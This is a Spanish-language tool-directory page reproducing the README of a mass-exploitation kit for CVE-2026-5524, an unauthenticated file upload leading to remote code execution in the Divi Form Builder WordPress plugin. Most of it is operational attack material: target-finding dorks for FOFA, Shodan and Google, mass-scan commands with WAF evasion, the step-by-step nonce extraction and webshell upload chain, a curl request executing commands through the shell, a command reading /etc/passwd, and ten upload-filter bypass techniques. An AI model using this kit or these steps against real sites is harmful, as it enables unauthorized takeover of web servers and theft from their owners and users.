Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-5524-PoC — Kit de explotación masiva para CVE-2026-5524, una subida de archivos no autenticada que permite ejecución remota de código (RCE) en Divi Form Builder. Incluye escaneo multihilo, técnicas de evasión de WAF, despliegue personalizado de webshell y ejecución interactiva de comandos. | Kitploit
Herramientas/GitHubGitHub/caterscam/cve-2026-5524-poc
ReconocimientoEscáneres de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebRecopilación de InformaciónEvasión de WAFPruebas de PenetraciónComando y Control

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Red Teaming
Desarrollo de Payloads
GitHubcaterscam/cve-2026-5524-poc

CVE-2026-5524-PoC

Kit de explotación masiva para CVE-2026-5524, una subida de archivos no autenticada que permite ejecución remota de código (RCE) en Divi Form Builder. Incluye escaneo multihilo, técnicas de evasión de WAF, despliegue personalizado de webshell y ejecución interactiva de comandos.

Ver Repositorio
114hace 2 mesesAún no revisado
Compartir

CVE-2026-5524 — RCE no autenticado en Divi Form Builder

Kit de explotación masiva para CVE-2026-5524, una vulnerabilidad de carga arbitraria de archivos no autenticada en el plugin de WordPress Divi Form Builder <= 5.1.8 que conduce a la ejecución remota de código.

version Devon Aji python telegram

CampoValor
CVE2026-5524
CVSS9.8 (Crítico)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AfectadoDivi Form Builder <= 5.1.8
Parcheado5.1.9
TipoCarga de archivos no autenticada a RCE
Investigador0xd4rk5id3 - EnvoraSec

Contenido

  • Descripción
  • Dorks
  • Instalación
  • Uso
    • Objetivo único
    • Explotación masiva
    • Bypass avanzado
    • Ejecución de comandos
  • Detalles de la vulnerabilidad
  • Técnicas de bypass
  • Stack tecnológico
  • Estructura del proyecto
  • Flujo de ataque
  • Descargo de responsabilidad

Descripción

El plugin Divi Form Builder para WordPress contiene una vulnerabilidad de carga arbitraria de archivos no autenticada. El manejador do_image_upload() pasa el parámetro POST acceptFileTypes controlado por el usuario directamente a una expresión regular utilizada para validar las extensiones de archivo. Al proporcionar un valor como phtml, un atacante puede omitir la regla .htaccess del plugin que solo bloquea la extensión .php y cargar una webshell con una extensión ejecutable por PHP (.phtml, .phar, .php5, .php7 y similares).

Una vez que el archivo llega a /wp-content/uploads/de_fb_uploads/, Apache lo ejecuta como PHP, otorgando al atacante ejecución remota de código como el usuario del servidor web.

El problema se soluciona en Divi Form Builder 5.1.9.


Dorks

FOFA

root@kitploit:~
body="de_fb_obj" && body="fb_nonce"

Shodan

root@kitploit:~
http.html:"de_fb_obj" http.html:"fb_nonce"

Google

root@kitploit:~
inurl:"/wp-content/plugins/divi-form-builder/"

ZoomEye

root@kitploit:~
app:"WordPress" && body:"de_fb_obj"

Censys

root@kitploit:~
services.http.response.body: "de_fb_obj"

Instalación

Requisitos: Python 3.8 o superior en Linux, macOS o WSL.

root@kitploit:~
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Uso

Objetivo único

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com

Explotación masiva

root@kitploit:~
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20

Bypass avanzado

Para objetivos detrás de un WAF (NinjaFirewall, Wordfence, ModSecurity) o con configuración endurecida de Apache o nginx.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug

Ejecución de comandos

Tras una carga exitosa, el script puede ejecutar inmediatamente un comando o abrir un shell interactivo.

root@kitploit:~
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell

Banderas

BanderaDescripción
-u URLURL de un solo objetivo
-l FILEArchivo con lista de objetivos, una URL por línea
-t NNúmero de hilos concurrentes (por defecto 10)
--timeout NTiempo de espera de solicitud en segundos (por defecto 15)
-o FILEGuardar resultados en archivo de salida JSONL
--proxy URLEnrutar tráfico a través de proxy HTTP
--nonce HASHUsar un nonce proporcionado manualmente, omitir la detección automática
--ext EXTForzar una sola extensión en lugar de la lista completa de bypass
--shellAbrir un shell RCE interactivo al tener éxito (solo objetivo único)
--cmd CMDEjecutar un comando en el objetivo y luego salir
--shell-file FILECargar un payload de shell personalizado en lugar del incorporado
--no-verifyOmitir el paso de verificación de RCE posterior a la carga
--strict-verifyConfirmar que la URL del shell devuelve HTTP 200 para filtrar falsos positivos
--user-iniCargar un dropper .user.ini para entornos PHP-FPM
--htaccessCargar un re-habilitador .htaccess para entornos Apache
--aggressiveHabilitar todas las técnicas de bypass disponibles
--null-byteIncluir intentos de byte nulo y doble extensión
--path-traversalIntentar cargar en subdirectorios /uploads/YYYY/MM/
--debugImprimir respuestas HTTP sin procesar para diagnóstico

Detalles de la vulnerabilidad

Código vulnerable

El manejador vulnerable construye una expresión regular a partir de la entrada del usuario sin sanitización.

root@kitploit:~
public function do_image_upload() {
    $accepted = $_POST['acceptFileTypes'];
    $pattern  = '/\\.(' . $accepted . ')$/i';

    if (preg_match($pattern, $filename)) {
        move_uploaded_file($tmp, $dest);
    }
}

Al enviar acceptFileTypes=phtml, la expresión regular resultante /\.(phtml)$/i coincide con nombres de archivo que terminan en .phtml, aunque el archivo .htaccess propio del plugin solo bloquea la extensión .php. Apache entonces ejecuta el archivo cargado como PHP, produciendo ejecución remota de código.

Cadena de ataque confirmada

  1. Rastrear una página que incruste un formulario de Divi Form Builder (/, /contact, /quote, etc.). Agregar un parámetro ?nocache=<random> para evitar Varnish, WP Rocket y otros cachés de página que de otra manera servirían un nonce obsoleto.

  2. Extraer el valor fb_nonce del objeto JavaScript localizado:

    root@kitploit:~
    de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
    
  3. Enviar un formulario multipart a /wp-admin/admin-ajax.php con:

    root@kitploit:~
    action=de_fb_image_upload
    fb_nonce=<nonce>
    acceptFileTypes=phtml
    [email protected]
    
  4. Leer la URL del archivo de la respuesta JSON:

    root@kitploit:~
    {"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
    
  5. Solicitar el shell con un comando codificado en base64:

    root@kitploit:~
    curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
    

Técnicas de bypass

#TécnicaObjetivos
1Extensiones PHP alternativas .phtml, .phar, .php5, .php7, .php4, .pht, .shtmlRegla .htaccess del plugin que solo bloquea .php
2Variación de mayúsculas .PHTML, .PHP5, .PhTmLFirmas WAF sensibles a mayúsculas (NinjaFirewall)
3Doble extensión .phtml.jpg, .php.jpgPeculiaridades de negociación de contenido mod_mime de Apache
4Byte nulo .php%00.jpg, .phtml%00.txtVersiones antiguas de PHP (menores a 5.3.4) y ciertos analizadores
5Espacio o punto final .php , .php.Windows IIS y versiones antiguas de Apache
6Suplantación de Content-Type application/octet-streamWAFs que se basan en el encabezado Content-Type del multipart
7Cargar un .htaccess real que rehabilite PHP para .gif, .png, .jpg, .txt, .html, etc.Servidores Apache con AllowOverride All
8Cargar un .user.ini con auto_prepend_fileEntornos PHP-FPM
9Inyección de nombre de archivo mediante manipulación de límite multipartProxies y WAFs que reanalizan el cuerpo de la solicitud
10Path traversal ../shell.phtml en el nombre de archivoRestricciones de directorio del plugin

El script intenta cada técnica en orden de prioridad y, cuando se establece --aggressive, intenta todas incluso después de que la primera carga reporte éxito.


Stack tecnológico

Script de explotación

ComponenteTecnología
LenguajePython 3.8+
Cliente HTTPrequests
Manejo TLSurllib3 en modo inseguro para certificados autofirmados
Concurrenciaconcurrent.futures.ThreadPoolExecutor para escaneo masivo
Análisisre para extracción de nonce, json para manejo de respuestas
Codificaciónbase64 para parámetro de comando de webshell
CLIargparse con 19 banderas configurables

Shell personalizado (bypass.phtml)

ComponenteTecnología
LenguajePHP 7.0+
Funciones de ejecuciónsystem(), shell_exec(), proc_open(), passthru(), popen()
FrontendFormulario HTML simple, sin framework JavaScript
CaracterísticasExplorador de archivos, ejecución de comandos, acceso a base de datos, reverse shell, autoinstalación de .htaccess y .user.ini
TamañoAproximadamente 16 KB
Capas de bypassSeis rutas de ejecución independientes más payloads codificados

Estructura del proyecto

root@kitploit:~
cve-2026-5524/
|-- CVE-2026-5524.py          Script principal de explotación
|-- bypass.phtml              16 KB de webshell PHP multicapa
|-- htaccess_enable.phtml     Dropper que escribe un .htaccess re-habilitador
|-- user_ini.phtml            Dropper que escribe un .user.ini para PHP-FPM
|-- targets.txt               Lista de objetivos de ejemplo
|-- pwned.jsonl               Generado por la bandera -o durante escaneos masivos
|-- requirements.txt          Dependencias de Python
`-- README.md                 Este documento

Flujo de ataque

root@kitploit:~
+--------------------------------------------------+
| 1. Reconocimiento                                |
|    GET /?nocache=<random>                        |
|    Extraer fb_nonce de de_fb_obj                 |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 2. Preparar exploit                              |
|    POST /wp-admin/admin-ajax.php                 |
|    action=de_fb_image_upload                     |
|    acceptFileTypes=phtml                         |
|    [email protected]                             |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 3. El servidor acepta y almacena el archivo      |
|    /uploads/de_fb_uploads/<random>.phtml         |
+-------------------------+------------------------+
                          |
                          v
+--------------------------------------------------+
| 4. Ejecutar                                      |
|    GET shell.phtml?x=base64(command)             |
|    Ejecución remota de código lograda            |
+--------------------------------------------------+

Descargo de responsabilidad

Esta herramienta se proporciona con fines educativos y para su uso durante pruebas de penetración autorizadas. Ejemplos de uso aceptable incluyen:

  • Programas de bug bounty que autoricen explícitamente la prueba del objetivo
  • Competiciones Capture the Flag y entornos de laboratorio dedicados
  • Evaluaciones de seguridad internas con permiso por escrito del propietario del activo
  • Investigación académica de seguridad realizada en un entorno controlado

El uso no autorizado contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para realizar pruebas es ilegal en prácticamente todas las jurisdicciones y está estrictamente prohibido. El autor no aprueba ni se responsabiliza por el mal uso de este código.

J'ai la permission et je suis autorisé à effectuer ce pentest. (Tengo permiso y estoy autorizado a realizar esta prueba de penetración.)

Las leyes de probable relevancia incluyen la UU ITE de Indonesia, la Ley de Fraude y Abuso Informático de Estados Unidos, el Convenio sobre Ciberdelincuencia de la Unión Europea y legislación equivalente en otros lugares. Ante la duda, obtén primero autorización por escrito.


Licencia

Solo para uso educativo. Consulta la sección de descargo de responsabilidad para los términos completos de uso.

Descargar herramienta